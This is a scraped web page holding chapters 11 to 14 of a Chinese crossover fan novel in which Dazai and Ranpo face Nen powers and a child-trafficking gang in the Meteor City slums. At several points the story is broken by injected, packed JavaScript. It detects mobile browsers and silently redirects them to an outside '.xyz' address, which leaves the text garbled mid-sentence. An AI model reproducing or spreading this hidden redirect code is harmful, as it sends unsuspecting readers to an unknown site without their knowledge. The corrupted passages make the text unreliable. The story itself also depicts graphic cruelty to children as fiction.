l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16434053|184934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当成偶尔会发布任务的系统也好，反正没什么区别，只是氛围融洽一些，总比猜忌和陌生好得多，是吧。” 红发青年笑的温和。 他说话时习惯看人眼睛，眸底水似清透含笑，腔调偏咬文嚼字的慢，吐字清晰，却意外不会感觉被冒犯，是会让人认真对待、听到心里的真诚姿态。 太宰治用了半秒来确定橘相月的意思是‘对，就是我绑架你，怎样，乖乖接受对咱俩都好，因为不接受也没用’，而不是‘抱歉，给你带来困扰了’。 真是……顶着这种会扶老奶奶过马路的脸说这种话吗？倒是和想的不太一样。 沉默几秒，他突然发问。 “老大，你留这么长的头发，以前做过明星吗。”是个毫不相干，甚至有些莫名其妙的问题。 橘相月愣了下，没想到会得到这种回复。但对方问的认真，他也不好敷衍，思索片刻，青年微微前倾了下身体，发丝便瀑布似滑落到胸前。 “不是明星。具体原因记不住了，但应该是怕秃顶吧？我之前好像是做金融的，那么这行……”他顿了顿，因想象心有余悸，“地中海……很难看诶。” 偏暗沉的酒红色长发如熟透发酵的浆果，被素白指尖在其间拨弄，橘相月一向宝贝这头长发，专门找了一套养护法子，连发尾都泛着精心的光泽。 看着青年，太宰治突然明白江户川乱步的意思了。 作为一个普通人，在经历死亡、失忆，随后获取了远超认知的强大力量、机遇、未知命运、危险陌生的部下后，还能安守本心，没有心态失衡，清醒单纯的应对一切，这本身就很了不起。 吃完自己那盘蛋糕的江户川乱步轻哼一声，神情倨傲，像在说，笨蛋，终于明白了。 这种被理所当然信任依赖着的感觉，不是很好吗。 没有衣角的鲜血、敌人或无辜者垂死时绝望挣扎哀嚎的吵闹、蠢笨如猪的他人、部下的恐惧、同伴的忌惮、首领的诡谲猜疑、难以理解的世界、被各种任务耽搁错过发售的甜品…… 在desserp shop，江户川乱步仅是江户川乱步。他很喜欢，也真心，期望着更好的未来。 “乱步，那是给太宰的点心。”橘相月发现了异常，“你今天已经吃掉两份了吧。” 江户川乱步早在橘相月吐出第一个字节的瞬间迅速低头咬住蛋糕尖，抬头时唇边沾了一圈奶油。 “他不喜欢甜食，我是在好心帮忙，是不是，太宰。” 莫名其妙在垃圾堆出生，又蹲地上哼哧哼哧剥了半天花生的太宰治：“……不吃。”那个蛋糕看起来很好吃，他也是动脑很多，需要大量糖分补充的人，怎么会不想吃。 但顶着江户川乱步恶狠狠的威胁目光，他把话咽回去，乖乖巧巧的端起茶杯，小口啜饮。 然后眼睛一亮，惊叹：“老大，这茶真好喝！我从没喝过这种味道。” 江户川乱步不在乎，他忙着进攻太宰治的蛋糕。 橘相月：“……” 他无奈又去拿了一块给太宰治。 ＊ 身下是冰冷坚硬的铁皮，鼻尖萦绕着沉闷难闻的混杂空气，还混杂了一点肉类烧焦的新鲜味道，后颈被手刀击中的痛隐约尚存。 太宰治在心里骂了句棘手，听着一道近在咫尺的清浅呼吸声缓慢睁开眼。 但即便早有预料，他还是吓了一跳。 11. 第 11 章 只见小滴两条腿蜷跪在地，上身倾斜趴伏，正用脸颊贴着地面看他，褐色眼睛一眨不眨。她左臂大半肩膀都血肉模糊，一张稚嫩的小脸恶鬼似糊上血污，但不是她的血，是溅上去的。显然在太宰治苏醒前，她打了场恶战。 见太宰治睁开眼，她用毫无波澜的声音说道：“你终于醒了。” 太宰治捂着太阳穴起身，一脸茫然地。 “这里是……” “敌人的巢穴。” 小滴也慢吞吞用双手支撑着地面直起身子。 她声音有些虚弱，褴褛衣裳下卷起的伤口血肉模糊，布料吸饱了血，呈现难看的红褐色，显然在被关进来之前被人收拾过。左手伤的最重，卷起的血肉泛着黑糊，焦味就来自那里。 太宰治暗道不好，现在的小滴别说战力，连站立都困难。 他一脸沉重地扭头，透过铁笼缝隙观察周围。 外面是个很大的房间，目测千余平，大概是地下室或库房，墙上几扇狭小的窗被木板钉死，只留了昏黄的灯泡照明，光并不均匀，墙壁两侧堆着密密麻麻的箱状物，大多都被黑布盖的严严实实。 不远处的空地上摆了几个铁笼，能模糊辨认出是些孩子或侧躺或靠坐，笼边有许多不明黑褐色液体。 天花板横梁上用麻绳系着几根不知放了多久，风干成酱紫腊肉的人类手臂。 从他的角度只能看到一扇通往外界的门，紧闭。屋内看不到守卫，屋外或许有，但不会多，铁笼、铁门，足以看住一群孩子。 太宰治收回视线：“……方便解释一下前因后果吗。” 聊天室突然冒出一条消息。 【乱步：我希望你能先给我解释一下，我来的时候你已经被打昏了】 【太宰：什么叫来的时候，你是电视记者吗……我混进流星街七区的教堂，遇到了这个女孩，她告诉我她的同伴被人抓走了，有个预知能力者说我是救人的希望，然后就把我也打晕了，剩下的听她说】 小滴不知道观众有俩，认真解说。 “敌人是黒帮，修他们被抓的时候我和神父大人去了八区，他们没抓到我。但我觉得他们不会放弃，果然一偷跑出来就被抓到了。”她完全没觉得不对，甚至沾沾自喜。 【乱步：好简单的思维方式】 【太宰：我也这么觉得，但如果我是她的敌人就更好了】 【乱步：可以是】 太宰治：“……所以我是赠品吗？” 【太宰：不可以！！！】 他暂时还没有和教堂闹翻加入黒帮的打算。 小滴觉得不重要，身体微微前倾，眼睛在昏暗的环境下发着亮光：“现在我们去救人，我要在被神父大人发现前回到教堂。” “……”太宰治抬手把她按回去，让她先冷静一下，“别着急。” “莱尔小姐说你是‘好的变故’。”小滴执拗，又凑上来，脏兮兮的小手揪住太宰治袖子，“你的‘绝’很完美，你可以救修他们。” “我没说不帮。”太宰治头疼，他已经摸清少女秉性，天然到了极致，缺乏常识。这种人好骗，但前提必须顺着她来，否则…… 以他阅人无数的眼光来看，这十岁出头的小女孩发起火来绝对能把他均匀涂抹在墙上。 这世界都是些什么怪物啊。 黑发少年叹了口气，单手撑地将身体摆正。比起十几米外塞的满满当当的铁笼，他们待遇不错，双人间，铁笼柱有婴儿拳头粗细。笼子被放在正对门的位置，一打开就能看到。还是VIP间。 “我说过要帮你，但可没让你擅自把我带到这里来……” 说着，太宰治身体自然后仰。 小滴眼睛睁大，开口拦他：“不要……”话卡在喉间，她愣住了。 黑发少年随意靠在栏杆上，懒散屈起一条腿靠坐着。 外界透进的光将他的身体分割出几何，上半身隐入昏暗。少年非常适应黑暗，或者说适合，似乎他本就是比黑暗更加漆黑深邃的恶魔。鸾色眼眸吸收了周围一切光线声音，带着一点戏谑。 “你是说附在栏杆上的念？” 他像在说什么不堪一击的东西，抬起一只手，反着用指骨扣了下禁锢住他们的冰冷金属，指甲与其发出极轻的碰撞。 太宰治弯了下眸子:“被可爱的小姐担心真让人心情愉悦，只可惜——禁用。” 将小滴眼底的惊愕与不可思议尽收眼底，他想，猜对了。 虽然昏迷的他占了铁笼大半空间，但小滴完全可以靠坐让自己舒服一些，她却以最难受的姿势蜷缩身体，目的就是不碰栏杆。她左手类似灼烧的伤口估计就出自那。 铁笼被人施加了异能，它要犯人时刻蜷缩依偎，瑟瑟发抖，可惜遇到了太宰治这个异能力黑洞。当然，他早在背后偷偷碰过栏杆，确定了首领说的‘你的能力可以在这个世界使用’是真的，才策划了这波装。 「甜蜜的家」，看远程直播的江户川乱步送上点评。 【乱步：欺骗女人的家伙】 【太宰：别把我说的那么人渣啊，乱步先生！我又没做什么过分的事，而且谁让我没有你那样的好运呢，没法得到老大的偏爱，只能自己拼搏了T.T】 江户川乱步被恭维的很开心，他向来是自己高兴了，也不吝啬于让他人高兴的那种：【明天店长会给你个惊喜】 在港口黑手党供职时他和太宰治就关系就不错，并不吝啬特殊关照。若如他先前猜测，之后出场的‘家人’中肯定会有更棘手的角色，提前找盟友不会出错。 并非‘架空’，只是争宠的一点点小手段。 太宰治听懂了这句话言下的拉拢之意，这对他没有坏处，干脆应下这份善意。 【太宰：那真是太好了】 小滴确实被震慑到了。 在这个世界，存在一种凌驾于科学之上的力量——念。 念是人类的生命能量‘气’，而能操控气的人被称为念能力者。 生命能量人人都有，但普通人无法察觉也无法控制，气始终处于流失状态，念能力者却可以自主将气收敛进体内。这便是应用技之一的绝。 小滴在太宰治身上看不到哪怕一丁点气，所以判断他是个念能力高手，再加上七区有名的‘神子’莱尔小姐的预言，判断他有能力救出被抓走的同伴，策划了这一切。 但是……敌人施加在铁笼上的念为什么会失效？ 小滴在眼睛上覆了一层气。那是念的应用技‘凝’，可以观察到别人的气，但她没看的太宰治身上有念的流动。 那黑发少年单待在那，在念能力者眼中就与隐身无异。 念能力者的战斗应该是一团火焰碰撞另一团火焰，是可见的，绝不是深渊吞噬生命般静悄悄。 她想不明白，伸手去碰自己旁边的栏杆。 ‘知啦——’ 原本便受伤的左手如被硫酸腐蚀似伤的更重，焦褐的血块附着在剩了一半的白骨上，冒着肉味的烟。 念还在！< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16434054|184934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>小滴却好像感知不到疼痛，缩回手后面对太宰治睁大双眼。 “你做了什么……好厉害！” 【乱步：真是怪物】 太宰治也这么觉得。小滴多大？十一岁？十二岁？外型是未成年羸弱少女，却能一声不吭的无视这种对成年人而言都无法忍受的酷刑，是她特殊，还是他们来到了一个满是怪物的世界。 鸾色的瞳孔微微颤抖，并不是恐惧。 是兴奋。 “好了，小滴。”太宰治双手一拍，清脆的响声将她注意力吸引回来，“先听我说。” “我本来准备从外界收集情报击破敌人，但因为你的擅作主张……如你所见，我的体术只是中下水准，并不擅长战斗，不然也不会被你随便打昏，而你现在也算不上助力，你给我找了个大麻烦，我已经无法信任你了。”他苦恼。 小滴果然被骗到，着急睁大眼：“不可以！” “那么，来玩个感情修复游戏吧。”太宰治收回手，搭在屈起的膝盖上，他声音平静，带着令人信服的冷酷，“游戏的名字叫服从，简单来说就是你要无条件无犹豫的听从我的命令，在我将你们救出去之前。” 来，为他，为他们展开，一个缤纷多彩的，险象环生的，有趣的新世界—— * 若将异能与念的知识比喻为菜谱，异能是日不落，念就是某东方古国。 念分类明确，强化系、变化系、具现化系、特质系、操作系、放出系和特质系，按固定顺序连接成一个六边形。 但念能力者可能恰好在六边形的点上，也可能在线上。线上的能力者可以兼修具两个系统的特征，越靠近哪个点，其系统的天赋越强，修炼越顺。反之，若不小心修炼了离自己远的那个系统，则可能庸碌一生，做了无用功。 “我是具现化系，能力是打扫。”小滴说。在她看来，前面说的内容都是对成年人重复1+1等于几，是太宰治的考验，只有这一句是有用的。 太宰治：“打扫？难道是嗖——收集灰尘的能力？” “可以。”小滴说，“但这太小，我没办法展示给你看。” “没关系，这已经很……”太宰治声音微不可查地顿了一下，“……很好了，你通过了我的考验，继续保持。” 因为他突然看见了‘念’。在一次眨眼后。 小滴浑身被一团循环的气包裹。还有他们所处的铁笼，每根栏杆都浮动着一种无声燃烧的暗紫色气态能量。 与此同时，太宰治发现自己身上有些异样。 他敏锐感觉到四肢百骸似乎突然开始流窜无数发散的气流，凭借本能，他没有放任气乱走，尝试将它们控制在身体内，成功引导后，身体感觉被一团温水包裹其中，浑身暖洋洋的。 黑发少年有些新奇的用气在手心上空捏了个绷带的图形，感觉就像握拳，用新生的肢体。 虽然不清楚具因，但他能确定，自己已经从外来的异能者，被世界同化认可成了念能力者。 所以……他也有可能成为轻松扛起几吨重集装箱的猛男了？ 太宰治表情亮起。江户川乱步能想到的东西，他也能想到，不过和一心为橘相月着想不同，他更在意的是，如果接下来抽出的‘家人’会是某个熟人，嗯哼哼哈哈哈！ “你在干什么？”小滴疑惑。 在她看来，太宰治莫名其妙让气乱走，然后‘缠’在体外，收回，又开始无意义变换图形。 莫非是外来者太娇弱，被吓疯了？ 12. 第 12 章 “……咳咳。” 刚得到新玩具玩心大发的某人搪塞。“热身。” 见她信了，太宰治赶紧戳江户川乱步。 【太宰：乱步先生，是怎么回事】 【乱步：你可以理解为店长的能力】 江户川乱步对橘相月的系统其实也不熟，但他知道支线任务，想必是太宰治无意间解锁了『图鉴』里的什么东西，给的奖励。翠绿眸中闪过一缕寒芒，看着屏幕上的太宰治，轻哼一声。 【乱步：你是什么念系？】 【太宰：不知道，光从名字分析，特质系？也可能什么都不是，毕竟我们是外来者，很有可能同化不同流，说起来乱步先生的异能是什么？】 【乱步：「超推理」，能看透世间一切真相的能力】 【太宰：好酷，不愧是乱步先生。念真是有趣，就算原本是突破口的辅助系能力者也能通过修炼念量弥补短板，这样岂不是可以无敌】 【太宰：乱步先生？研究新能力去了吗？】 * 橘相月的睡梦都是深度睡眠。 黑甜、深沉，不易抽离。 他每天都做梦，不过内容从不变，绵长无尽的黑暗，梦的结尾总是「甜蜜的家」。 橘相月醒了。 他的卧室只在原本旅店的基础上做了简单的改动，毫无风趣，正中放了张宽大的硬板床，江户川乱步吐槽可以在里面打羽毛球。橘相月只在晚上来这个房间，他更多时候待在「甜蜜的家」里。 窗台倒是很精彩的养了十几盆各色花草。 大多是市场买回来的，鲁比安纳常见的品种，少数用少数民族的方言才能叫出名字，也有偶然在路边一见钟情的，共同点是看起来都蔫蔫的，枝稀叶败，花残草黄。 橘相月也不知道是怎么回事。 他明明在网络上搜集了最好的植物养护方式，甚至还用系统面板的『图鉴』找到它们原产地的小知识，结果这些祖宗的长势还没江户川乱步挑食偷偷倒掉不吃饭菜地方的野草长得好。 那盆名为钮博的最后一朵花也凋谢了。按照把它卖给他的人说，这是一种像极了某种遗迹贡灯的花，只需要浇浇水，就能生出一个个向上的拳头大小的椭圆花球。 橘相月买的还是长大后的钮博，骨朵确实密密麻麻，搬起来重重的很坠手。 一个周的时间，钮博轻的只剩枯枝和一盆土。 橘相月叹气，他还专门找江户川乱步分析过原因。 植物没问题，鲁比安纳的气候适合它们生长，也都可以养在一起，养护手册是精品，橘相月也很细心，擅长养东西，比如他的头发，再比如脸蛋胖了一圈、现在皮毛油光水滑的乱步。 只能归类于体质问题，就像同样晚上待在全是花草的阳台，江户川乱步会被虫子咬到炸毛，橘相月却不怎么招它们喜欢。 压下心底失落，精心照顾了其他活着的宝贝花草，橘相月洗漱过，将睡衣换成常穿的夏款蓝西装。 他对着落地镜，将造型的最后一部分黑色围巾围上。橘相月脖子很好，没有要遮挡的伤痕，他也说不准为什么要这么打扮，总之每天在离开卧室前，都要像植物的根系埋在土壤中一样系好围巾。 橘相月觉得可能是因为他醒来时就是这套打扮，下意识复原寻心理安慰吧。 总之，不重要。 因为他还有工作没完成——写了一半的‘异世界指南’。 橘相月打开面板，调出聊天室，是江户川乱步和太宰治昨天晚上聊的。 他大概看了眼内容。 其实也不用看，系统会自己概括‘家人’的行踪，类似除去‘走路、呼吸’这种无用重复内容后，把‘口口见了口口’‘口口得到了口口物品’这类浓缩信息整理后一股脑塞给他。 他怀疑系统把他的脑子当成了储存室。 “……” 当就当吧，反正他脑子也空。 江户川乱步和太宰治的聊天内容挺玄，几乎都在‘我明白你的意思所以那句话我就不说了因为我知道你也明白我的意思’，橘相月配着系统送来的记忆才看懂。 【太宰：乱步先生？研究新能力去了吗？】 聊天终止在这句。 橘相月照着系统送来的太宰治觉醒念时的记忆试了一下，并没有感觉到什么气流。 想想也是，他就是个普通人，即便后来被赋予了「甜蜜的家」，也不可能成为什么念能力者吧。 在脑子里整理着信息，橘相月推门进入「甜蜜的家」。 房间和昨晚他离开时一样，没什么变化。 沙发上都是没拆封的零食，没有垃圾，因为房间有自清洁功能。江户川乱步已经不在了，他一贯像猫，神出鬼没，橘相月只能在他自愿出现的时候见到他本人。 索性他也不是什么控制欲很强的大家长，将零食收拾进储物箱，就去电脑前做自己的事情了。 ‘异世界指南’马上就能完成。 多亏太宰治问小滴念的行为，『图鉴』中念相关的灰色板块被‘解锁’了一大片，抽取家人按钮下的进度条也涨的飞快。 应该很快就能见到下一个家人了。 * 放眼全世界流星街都非常特殊、独一无二。 这里似乎没有秩序和文明，是最接近自然界角斗场的人类聚集地，黒帮、性、毒品、器官、走私、暴力犯罪横行。强者享乐，富豪消费，弱者被啃噬得连骨头渣子都不剩。 但实际上，这些似乎大多是外界强行施压给它的枷锁？ “*……*&%……?%” 小滴正唧唧咕咕地教太宰治学流星街语。 她好几次欲言又止，但看太宰治低头学的起劲，只好忍着心急如焚教下去。 流星街文字是典型的表意象形文，通过图形符号来表达语意，据说是百年前一位智者创造的。 太宰治学的速度很快，几乎是小滴用指尖在地面虚虚画上一遍，用通用语和流星街语再念上一遍读音，告知含义，太宰治便能喊下一个，快到让小滴怀疑他真的有在学吗。 绕是如此，也折腾到了守卫进门巡逻的点。 用一大串钥匙打开门的是个留着莫西干头的壮汉，拎着一桶大概是食物的糊状物推门进来，他旁边面容陌生的瘦高男子接过钥匙挂在裤子上，转身将唯一的门虚掩。 莫西干头一进来就骂骂咧咧不停：“还要给他们吃饭。” 瘦高男子视线落在正对门的那个铁笼上。 先映入眼帘的是坐在中间的黑发少年，对方一只手撑地，身体偏侧，似乎睡着了，看不到脸，那件剪裁良好的黑色风衣与通身清贵气质，与流星街格格不入。 最后抓到的那个小鬼面无表情半跪在他旁边，她纤瘦得像根营养不良的嫩葱，稚气未脱的脸上却满是冷冰杀意。 瘦高男子被那双茶色眼眸盯的发毛，他移开视线，暗骂自己，一个被打到重伤还关在笼子里的小孩能有什么威胁，装若无其事：“在找到买家之前弄死他们，看你怎么和老板交代。” “流星街的狼崽子饿几顿死不了，再说这种品 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16434055|184934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 质的货色估计也只有医疗室要，论斤卖起来比垃圾还便宜，再说，现在出去的路都被封上了，真的能出手吗，该死，上位者斗法，害得我们提心吊胆，赌场都不敢去了。” 莫西干头粗暴地抓起离门最近那个铁笼笼门上的锁，用力‘当当’去撞门。 铁门震颤，发出金属碰撞的刺耳声响，吓得笼子里的孩子惊作一团。他哈哈大笑，没有开锁的意思，直接用勺子舀起瓢糊状物，泼水似隔着栏杆缝隙泼进去，丝毫不管铁笼底积攒的脏污。 有靠门近的孩子被浇个正着，黏糊的食物从脸侧滑到干裂的嘴边。 他呸地吐掉嘴边东西，恶狠狠的瞪着两人，眼神活要将他们撕碎。 但现实是，身体太虚弱，连起身都难。 “嘿，不是你前两天跪在地上求大爷给口吃的的时候了。” 莫西干头乐了，流星街的崽子不是宁死不屈的麻雀，他们是百折不挠的狡猾野狐，从未放弃过挣扎，吃饭积攒力量这种对逃出去有益的火种，可不会愚蠢的踩灭。 除非——到了极限。 莫西干头又挖了一大勺流体，尽数泼在出头的那个孩子身上，冒着热气的半流体流进他的眼睛，把头发乱糟糟缠在一起，他大声嚷嚷：“这是你们三天的食物，可别饿死了！” 一共两勺流体。但笼子里有八个孩子。 稚嫩的手掐进肉里。孩子们都知道，对方没有在开玩笑，如果不伸出舌头去舔马上要死去的同伴身上的食物，他们就会饿死。因为在此之前，他们已经被饿了整整两天了。 太宰治用手指在地上练字，他用刚学会的流星街的语言轻声开口。 “他打算让那个笼子里的孩子去吃同伴的尸体吗？” 吐字还有些生涩，但用词准确，说长句子的流畅度也够让人听懂了。 “嗯。”小滴看着十几米被折辱的同伴们，指甲刺入掌心，因愤怒而爆发的念气几乎冲到笼顶，“那个。”她还记不住太宰治的名字，“我什么时候可以动手。” “忍耐。” “可是……” 鸾色眼眸轻飘飘转过来，在昏沉光线下反射出血似的光芒。 “小滴，‘蛆虫’这个单词用流星街语怎么拼？” 小滴张了张嘴，吐出一个单词。 “谢谢。”太宰治弯弯眸子，“‘杂碎’呢？” 小滴回：“*&*…3%” “很好。”太宰治夸她，“记住这种感觉。” 小滴抬眼：“感觉？” “信任我的感觉。”太宰治知道少女的忍耐快到极限了，放轻声音，调教部下得软硬兼施，“我不是和你分析过吗，小滴，敌人拥有蒙蔽神父大人和莱尔小姐的强大力量，所以不可以像之前那样冲动了。” 就算能力是预言、年龄是小滴两倍还多的莱尔小姐没发现自己的话被偷听，神父那种老狐狸也看不出小滴的蠢蠢欲动，但只要长了脑子，都该知道不能放任唯一的幸存者小滴自己乱跑。 所以是神父默许了小滴擅自行动。 可能现在，他就在哪个角落关注着他们。 但太宰治只告诉了小滴前半句，因为他必须要让小滴暂时相信是她的冲动摧毁了所有人的计划，而他，是她想挽救一切必须牢牢抓住的希望。 他可不是来一日游的。 “我说过帮你的前提是你要听我的指令，这是这场交易唯一的诉求，可以吗。”太宰治将一只手指束在唇前，瞳孔深处闪着血色的光，“先把念收起来，你的身体已经快支撑不住了。” 13. 第 13 章 “……好。”但情绪激动之下，念哪有那么好控制，小滴深呼吸好几次，抬着猩红的眼睛看黑发少年。在她自己都没发现的情况下，那双稚嫩的茶色眼眸中满是依赖。 太宰治帮了她一把：“好孩子。” 缠着绷带掌根落在女孩肩上，像一盆冷水，终于将冲天的念，平复于无。 两个守卫拎着桶在几个铁笼前转了一圈，最后才轮到他们的笼子。 小滴到底年纪小，虽被太宰治压了几次，没表露出太过激的举动，但小小的人盘腿坐着，表情冷淡，仿佛面前的是什么不值一提的东西，看起来比站起来谩骂还侮辱人。 莫西干头骂了句什么，抽出手枪，对准小滴血肉模糊的左手，眼看要扣动扳机。 “我说，终于有活人出现了！”一道不满的声音制止了即将到来的流血事件。 莫西干头顺着声音看过去，是笼子里另一个人。 他似乎是被吵醒的，眉头紧簇，漂亮的鸾色眼眸压低，鉴于青年与少年之间的那张优质脸蛋绝不是流星街这贫瘠土地能滋养出的花，更显眼的是他通身的矜贵气质。 “你们这些下等贱种到底是怎么回事，竟然敢把本少爷关在这种地方，知道我父亲是谁吗，臭虫子！”高高在上的姿态，骂人的话，都是贵族做派。 小滴一愣，转头看向太宰治。 太宰治撇她一眼，眉皱得更高了：“还把我跟这个毛都没长齐的乡下野丫头关在一起，脏死了！”他大概是被惯坏了，在这种情况下还端着高高在上的愚蠢姿态，大吵大闹。 莫西干头脾气不好，经不起激，即刻调转枪口，准备让先这不识好歹的小少爷认清状况。手腕刚要动，就被后面的瘦高男子一把按住。 “干什么？”他不耐烦甩开。 “先别动手。” 瘦高男子从上到下将太宰治仔细打量一番，浑浊的眸底闪过一丝贪欲。 他回身低声和莫西干头解释：“你还不明白吗，他是谁家的少爷根本不重要，这里是流星街……重要的是有些人就喜欢这种玩具。” 狼崽子一样倔强浑身是刺的玩多了，又傲又柔弱的富贵花是稀罕货物，那养尊处优的皮肤浑身刀痕，娇嫩的咽喉啜泣尖叫时，最能满足暴虐变态癖好。 “而且仔细看他的眼睛和头发都很漂亮，说不定会有人体器官收藏家出手竞价废料……” 莫西干头越听眼睛越亮。毕竟为了安抚他们这些底层打手，上面的干部放了话，这批孩子出手的钱组织一戒尼都不要，全都是他们的。 但长老会和黒帮的恩怨人尽皆知，七区教堂这些孩子的失踪是怎么回事，谁都是揣着明白装糊涂。以往来者不拒的老主顾现在听见货源来自流星街就摆手，没人愿淌这趟浑水。 所以不知为何会出现在这批孩子里的太宰治，其实是里面唯一能榨出油水的货物。 而且，价值不菲。 “你们聋了吗，混蛋！”被无视的太宰治怒火更甚，他看起来快炸了，“不就是要钱吗，等我回去，我要用戒尼捆成转头砸死你们！喂！听到我说话了吗！” 眼看暴怒中的大笔戒尼……少爷手要碰到栏杆，莫西干头连忙先一步摸上去，他手腕上系了条用绳子穿过的鳞片，是铁笼上的念的主人留给部下的通行证，让他能保住这个金疙瘩。 同时，太宰治的话也激发出他别的贪念。 瘦高男子说的对，这里是流星街，与世隔绝之地，就算是首相在这落难，他的拥簇也别想得到什么信息。 但如果不透露地点呢？先让这愚蠢小少爷的家人打一大笔钱来，再将他卖掉，能赚两笔钱呢。 莫西干头回头看了眼同伴，瘦高男子瞬间懂了他的意思，把腰间的钥匙扔给他，几步走到关其他孩子的笼子钱，拔枪对准其中一个。莫西干头看向小滴。 他知道这小女孩是念能力者，因此，必须控制住她，才能安全把共处一个笼子的太宰治提出来。 “老实点，我保证在你逃出来前，子弹会先贯穿你小伙伴的喉咙。” 太宰治已经不耐烦了，重重把位置靠近笼门的小滴往后扒拉开：“听懂了就快放本少爷出去，滚开，小丫头！”向前时，他似乎不经意的做了个单手下压的动作。 原本计算着该如何在拧断两人脖子的小滴挪动身体向后移了移，安静待在铁笼深处。 太宰治眸中闪过一丝不明显的笑意，在莫西干头用钥匙插入锁芯扭动的瞬间，便从打开的笼门挤了出去。 “慢死了！我告诉你们，我可是……” * 午饭前，橘相月完成了他的‘异世界指南’。 也是他构想中信息库内网的雏形，可以在聊天室中以网站形式打开。 有「甜蜜的家」里那台跨时代电脑的帮助，工作量比预想中的要少很多。 首页是让‘家人’了解现状的欢迎开场白和任务、奖励，也是仅有的指南内容。 然后是张世界地图，让刚落地的家人对异世界有基础了解。 六大陆五大国，还有各小国和少数民族、湿地、森林、山脉，标准地图上没有的流星街被手动添加，点进去是橘相月给太宰治的那份情报。其余地区他偷了懒，例如点进‘巴托齐亚国内共和国’，会直接跳转到公共网络，但不会留浏览记录。 魔兽、秘境、矿石、植物等贴的内容大多来自鲁比安纳图书馆，那台电脑有扫描一下就把纸质书变成电子文档的能力，还有『图鉴』解锁后的内容。 当然并不完整，因为橘相月只去借了一次书，江户川乱步拒绝跑腿。不过这个板块也不着急。 像念能力这类着急的，却因为情报不足而相当简略，随时等补充维护。情报不够，着急也没用。 当然还有最重要的语言问题，他附了通用语五十音图和单词表。因为自主消除语言障碍的江户川乱步，橘相月刚想起家人落地新世界后是文盲的事。 让电脑自带的人工助手再次校对无误后，橘相月按下发送键。 【太宰：帮大忙了老大！这简直是帕拉斯.雅典娜女神的完美艺术！】贺喜在两分钟后发来。 【你喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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游人不多，没生意可做的摊贩也有气无力地打着瞌睡。 江户川乱步一个人坐在河堤的草坪上，盯着水面发呆。现在才是初春，全天光线都不刺眼，轻柔的渡下来，批在他肩上，有风过时，猎鹿帽压着的鬓边黑色碎发与河水一同荡起涟漪。 “乱步。”橘相月轻声叫他。 江户川乱步好像早知道他会来，自然回头：“店长，你来了啊？” “嗯。”红发青年问，“怎么不回去吃午饭？” 江户川乱步单手托着下巴：“迷路了。” “你根本就没走吧。”橘相月摇摇头，拆穿他，“从凌晨就一直坐在这，还赶走了一只狗。” 江户川乱步懒洋洋拖长调子。 “店长，在你说这句话之前，我对你的能力情报了解仅限于‘你可以监控部下动向’，说完之后，我就知道你还有办法知道24小时部下的一举一动。因为你不是会一直看监控的性格。” 橘相月疑惑：“说的没错，但你为什么不直接问我。” “因为我喜欢推理！”江户川乱步音调抬高，嘟嘟囔囔抱怨，“这种性格到底是怎么回事。” 14. 第 14 章 橘相月在江户川乱步身边坐下，无奈：“我不一直都是这样吗？” “这是什么很光荣的事情吗，店长。”江户川乱步斜眼看他。 红发青年揉揉眉心，自知理亏：“我把系统那个默认功能关了，此后除非我主动传召，不会有任何家人出现在「甜蜜的家」，把真实性格暴露给太宰的事情我很抱歉，我只是太着急了……” 他垂眸，看向双手。那是双没受过苦的手，指尖与虎口只有键盘鼠标和笔留下的薄茧，肤色均匀，指尖粉嫩，甲片修剪整齐。 “我想完成任务，得到那个愿望，找回我失去的记忆。” 江户川乱步毫不客气戳穿：“骗人，你明明对过去一点兴趣都没有。” 橘相月扯扯唇角：“……我不想让你们失望。” 江户川乱步敷衍地鼓了两下掌：“更空洞了。” 橘相月指尖颤动，苦笑道：“我是认真的，乱步，我是个失忆的人，我的心脏是空的，但你们不一样，你和太宰都有想实现的愿望吧。” “嗯。”江户川乱步含糊其辞，显然他并不想提愿望的事。 “我一想到你们，想到可以帮被系统带到我身边的人实现愿望……就很高兴。” 被需要的。 大概是这样的心理。充盈起他对未来的希望。 江户川乱步沉默片刻:“所以，这就是你完成任务的动力？不是为了自己，是为了我们？” “嗯。” “其实你不用和我解释这个，店长，怎么掌控部下是你的事。” 橘相月无奈:“因为……” “你想做台前傀儡，让我做幕后操纵者。”江户川乱步不用解释，掐断他的妄想，“想都别想！首领——大人” 橘相月失望叹了口气。 江户川乱步看他那死样子，扯扯嘴角：“店长，你和我的前任首领还真是截然相反的类型啊。” “他从不会有什么和部下做朋友家人的想法，也不会为了他人行动，他是很优秀独立的首领，支配掌控着每个部下的心理，几乎没有个人情感，一切行为都以组织的发展为重，甚至说过自己是组织奴隶的话。” 橘相月一愣：“组织奴隶的话……我……试一下？” “不，这样就很好。”江户川乱步摇摇头，眉眼间流露出不易察觉的寂廖，他盯着河水，鲁比安纳在河道治理方面做得不错，水底清澈，往不远处一望无际的海中流。 